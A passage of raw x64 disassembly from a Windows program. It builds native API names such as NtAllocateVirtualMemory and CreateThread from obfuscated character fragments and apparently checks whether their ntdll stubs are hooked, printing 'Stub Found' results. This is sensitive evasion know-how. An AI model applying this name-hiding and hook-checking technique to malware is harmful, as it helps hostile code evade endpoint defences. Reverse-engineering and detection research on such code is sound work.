lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x1400c23dc]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x1400c23de]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x1400c23e0]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x930]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xb10]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xb3f]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xb40]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0xb40]
mov rcx, qword [rbp + 0x2cd0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0xb40]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x140004b3f
lea rsi, [0x1400c23b4]
jmp 0x140004b46
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xd2f]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0xd2f]
lea rax, [rbp + 0xd00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0xce0]
lea rdx, [rbp + 0xd00]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x1400c23e2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x1400c23e4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x1400c23ac]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x1400c23b0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xc00]
lea rdx, [rbp + 0xc20]
lea r8, [0x1400c23d8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xbe0]
lea rdx, [rbp + 0xc00]
lea r8, [0x1400c23da]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xbc0]
lea rdx, [rbp + 0xbe0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xba0]
lea rdx, [rbp + 0xbc0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xb60]
lea rdx, [rbp + 0xb80]
lea r8, [0x1400c23dc]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0xb60]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xbc0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xbe0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xd00]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xd2f]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xd30]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0xd30]
mov rcx, qword [rbp + 0x2cc8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0xd30]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x140004e79
lea rsi, [0x1400c23b4]
jmp 0x140004e80
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xfff]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0xfff]
lea rax, [rbp + 0xfd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0xfb0]
lea rdx, [rbp + 0xfd0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x1400c23e6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x1400c23e8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x1400c23ea]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x1400c23ec]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xe30]
lea rdx, [rbp + 0xe50]
lea r8, [0x1400c239c]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xe10]
lea rdx, [rbp + 0xe30]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xdf0]
lea rdx, [rbp + 0xe10]
lea r8, [0x1400c23ee]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xdd0]
lea rdx, [rbp + 0xdf0]
lea r8, [0x1400c23f0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xdb0]
lea rdx, [rbp + 0xdd0]
lea r8, [0x1400c23f2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xd90]
lea rdx, [rbp + 0xdb0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x1400c23a0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xd50]
lea rdx, [rbp + 0xd70]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0xd50]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xdb0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xdd0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xdf0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xe10]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xfff]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x1000]
mov rcx, qword [rbp + 0x2cc0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x1400052e7
lea rsi, [0x1400c23b4]
jmp 0x1400052ee
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x134f]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x134f]
lea rax, [rbp + 0x1320]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x1300]
lea rdx, [rbp + 0x1320]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x12e0]
lea rdx, [rbp + 0x1300]
lea r8, [0x1400c23f4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
lea r8, [0x1400c23ac]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x1400c23b2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x1400c23f6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x1400c23ea]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x1400c23f8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x1400c23b0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x1400c23ea]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x1400c23d4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x1400c23a0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x1400c23e4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1020]
lea rdx, [rbp + 0x1040]
lea r8, [0x1400c23e4]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x1020]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x12e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1300]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1320]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x134f]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x1350]
mov rcx, qword [rbp + 0x2cb8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x140005805
lea rsi, [0x1400c23b4]
jmp 0x14000580c
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x15df]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x15df]
lea rax, [rbp + 0x15b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x1400c23e2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x1400c23dc]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x1400c23a6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x1400c23ac]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x1400c239c]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x1400c23ae]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x1400c23b0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x1400c23b2]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x1370]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x15b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x15df]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x15e0]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x15e0]
mov rcx, qword [rbp + 0x2cb0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x15e0]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x140005c1b
lea rsi, [0x1400c23b4]
jmp 0x140005c22
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x16ef]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x16ef]
lea rax, [rbp + 0x16c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x16a0]
lea rdx, [rbp + 0x16c0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x1400c23d6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x1400c239c]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1640]
lea rdx, [rbp + 0x1660]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x1400c23e4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1600]
lea rdx, [rbp + 0x1620]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x1600]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x16c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x16ef]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x16f0]
mov rcx, qword [rbp + 0x2ca8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x140005e21
lea rsi, [0x1400c23b4]
jmp 0x140005e28
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x18bf]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x18bf]
lea rax, [rbp + 0x1890]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x1870]
lea rdx, [rbp + 0x1890]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1850]
lea rdx, [rbp + 0x1870]
lea r8, [0x1400c23ee]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1830]
lea rdx, [rbp + 0x1850]
lea r8, [0x1400c23fa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1810]
lea rdx, [rbp + 0x1830]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x17f0]
lea rdx, [rbp + 0x1810]
lea r8, [0x1400c23ea]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x17d0]
lea rdx, [rbp + 0x17f0]
lea r8, [0x1400c23d4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x17b0]
lea rdx, [rbp + 0x17d0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1790]
lea rdx, [rbp + 0x17b0]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1770]
lea rdx, [rbp + 0x1790]
lea r8, [0x1400c23a0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x1400c23e4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1710]
lea rdx, [rbp + 0x1730]
lea r8, [0x1400c23e4]
